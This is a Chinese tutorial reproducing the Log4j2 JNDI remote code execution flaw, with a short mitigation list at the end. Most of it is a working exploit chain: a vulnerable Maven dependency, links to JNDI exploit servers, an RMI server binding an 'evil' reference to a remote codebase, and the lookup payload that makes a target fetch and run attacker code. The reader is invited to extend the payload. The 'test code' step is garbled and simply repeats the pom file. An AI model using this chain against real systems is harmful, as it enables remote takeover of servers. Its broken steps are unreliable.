令无数程序员加班的Log4j2远程执行漏洞复现

　　构建maven项目引入Log4j2编写 pom 文件<?xml version=＂1.0＂ encoding=＂UTF-8＂?>      4.0.0       org.example     Log4j-rce     1.0-SNAPSHOT                                      org.apache.logging.log4j             log4j-core             2.13.3                                        org.apache.logging.log4j             log4j-api             2.13.3                                8         8        编写测试代码<?xml version=＂1.0＂ encoding=＂UTF-8＂?>      4.0.0       org.example     Log4j-rce     1.0-SNAPSHOT                                      org.apache.logging.log4j             log4j-core             2.13.3                                        org.apache.logging.log4j             log4j-api             2.13.3                                8         8        下载 JNDI 测试服务器
　　到 https://github.com/feihong-cs/JNDIExploit
　　或者
　　https://github.com/welk1n/JNDI-Injection-Exploit
　　下载 JNDIExploit 测试服务器
　　本次使用 JNDIExploit 举例
　　下载完成后使用 java -jar JNDIExploit-1.2-SNAPSHOT.jar -i ip
　　启动服务器
　　然后运行之前的Log4j2项目即可出现如图所示效果
　　加载运行自己的 class 类编写 RMI服务器import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;   /**  * @author Pu Zhiwei  * create          2021-12-11 22:06  */ public class RMIServer {     public static void main(String[] args) {         System.setProperty(＂com.sun.jndi.rmi.object.trustURLCodebase＂,＂true＂);         System.setProperty(＂com.sun.jndi.ldap.object.trustURLCodebase＂,＂true＂);         try {             LocateRegistry.createRegistry(1099);             Registry registry = LocateRegistry.getRegistry();               System.out.println(＂Create RMI registry on port 1099!＂);             // 前两个参数为类名，第三个参数为远程类地址             Reference reference = new Reference(＂Test＂, ＂Test＂, ＂http://192.168.0.105:8080/＂);             ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);             registry.bind(＂evil＂, referenceWrapper);         } catch (Exception e) {             e.printStackTrace();         }     } }
　　编写测试类 public class Test {     static {         System.out.println(＂你好 Log4j2＂);     } }
　　然后启动一个 http 服务器，将编译好的测试类放入 http 服务器的根目录，你可以直接使用python的http服务器 python -m http.server 8080
　　修改 Log4j2 项目内容为 logger.error(＂${jndi:rmi://192.168.0.105:1099/evil}＂);
　　运行项目即可看到 Test 类已被执行
　　之后你就可以通过修改 Test 类实现更多操作。 如何防范
　　升级 Log4j2 到最新版本
　　使用最新版 JDK
　　临时解决方案： 设置 jvm 参数 ＂-Dlog4j2.formatMsgNoLookups=true＂ 在项目 classpath 目录下添加 log4j2.component.properties 配置文件，设置 log4j2.formatMsgNoLookups=true 设置系统环境变量：＂LOG4J_FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS＂ 设置为 ＂true＂